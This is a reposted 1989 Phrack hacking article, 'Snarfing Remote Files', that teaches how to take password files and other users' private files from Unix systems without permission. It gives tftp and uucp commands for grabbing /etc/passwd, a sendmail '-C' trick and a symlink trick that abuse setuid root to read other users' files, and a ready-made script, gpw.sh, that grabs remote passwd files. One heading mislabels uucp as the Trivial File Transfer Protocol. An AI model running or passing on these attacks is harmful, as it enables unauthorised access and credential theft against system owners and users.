126 Phrack Inc. Volume Three, Issue 28, File #6 of 12

eZine lover (@eZine)

Published in 

Jolly Rogers Cookbook Version

 · 28 Dec 2019

  

 
                               ==Phrack Inc.== 
  
                     Volume Three, Issue 28, File #6 of 12 
                     +++++++++++++++++++++++++++++++++++++ 
                     +                                   + 
                     +       Snarfing Remote Files       + 
                     +                                   + 
                     +                by                 + 
                     +                                   + 
                     +           Dark OverLord           + 
                     +                                   + 
                     +++++++++++++++++++++++++++++++++++++ 
  
There are many ways of getting copies of files from a remote system that you 
do not have permission to read or an account on login on to and access them 
through.  Many administrators do not even bother to restrict many access 
points that you can use. 
  
Here are the simplest ways: 
  
  
A)  Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy 
    of a file if you are running on an Internet based network. 
  
B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file 
   if uucp connections are running on that system. 
  
C) Access one of many known security loopholes. 
  
  
In the following examples, we will use the passwd file as the file to acquire 
since it is a readable file that can be found on most systems that these 
attacks are valid on. 
  
Method A : 
  
1) First start the tftp program: 
    Enter the command: 
  
 tftp 
  
    [You have the following prompt:] 
  
 tftp> 
  
  
2) The next step is to connect to the system that you wish to retrieve files 
    from.  At the tftp, type: 
  
 tftp> connect other.system.com 
  
  
3) Now request the file you wish to get a copy of (in our case, the 
    passwd file /etc/passwd ): 
  
 tftp> get /etc/passwd /tmp/passwd 
  
    [You should see something that looks like the following:] 
  
 Received 185659 bytes in 22 seconds. 
  
4) Now exit the tftp program with the "quit" command: 
  
 tftp> quit 
  
You should now have a copy of other.system.com's passwd file in your directory. 
  
NOTE:  Some Unix systems' tftp programs have a different syntax.  The above was 
       tested under SunOS 4.0 
  
For example, on Apollos, the syntax is: 
  
    tftp -{g|g!|p|r|w} <local file> <host> <foreign file> [netascii|image] 
  
Thus you must use the command: 
  
 tftp -g password_file networked-host /etc/passwd 
  
Consult your local "man" pages for more info (or in other words RTFM). 
  
At the end of this article, I will include a shell script that will snarf a 
password file from a remote host.  To use it type: 
  
 gpw system_name 
  
Method B : 
  
Assuming we are getting the file  /etc/passwd  from the system uusucker, and 
our system has a direct uucp connection to that system, it is possible to 
request a copy of the file through the uucp links.  The following command will 
request that a copy of the passwd file be copied into uucp's home directory 
/usr/spool/uucppublic : 
  
 uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd' 
  
The flag "-m" means you will be notified by mail when the transfer is 
completed. 
  
Method C: 
  
    The third possible way to access the desired file requires that you have 
the login permission to the system. 
  
In this case we will utilize a well-known bug in Unix's sendmail daemon. 
  
The sendmail program has and option "-C" in which you can specify the 
configuration file to use (by default this file is /usr/lib/sendmail.cf or 
/etc/sendmail.cf).  It should also be noted that the diagnostics outputted by 
sendmail contain the offending lines of text.  Also note that the sendmail 
program runs setuid root. 
  
The way you can abuse this set of facts (if you have not yet guessed) is by 
specifying the file you wish read as the configuration file.  Thus the command: 
  
 sendmail -C/usr/accounts/random_joe/private/file 
  
Will give you a copy of random joe's private file. 
  
Another similar trick is to symlink your .mailcf file to joe's file and mail 
someone.  When mail executes sendmail (to send the mail), it will load in your 
mailcf and barf out joe's stuff. 
  
First, link joe's file to your .mailcf . 
  
 ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf 
  
Next, send mail to someone. 
  
 mail C488869@umcvmb.missouri.edu 
  
And have fun. 
  
-=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-= 
: 
: gpw copyright(c) Dark Overlord 
: 
/usr/ucb/tftp $1 << EOF 
mode ascii 
verbose 
trace 
get /etc/passwd /tmp/pw.$1 
quit 
EOF 
-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-= 
_______________________________________________________________________________ 

** END OF MESSAGE ** 
#EOI 

 

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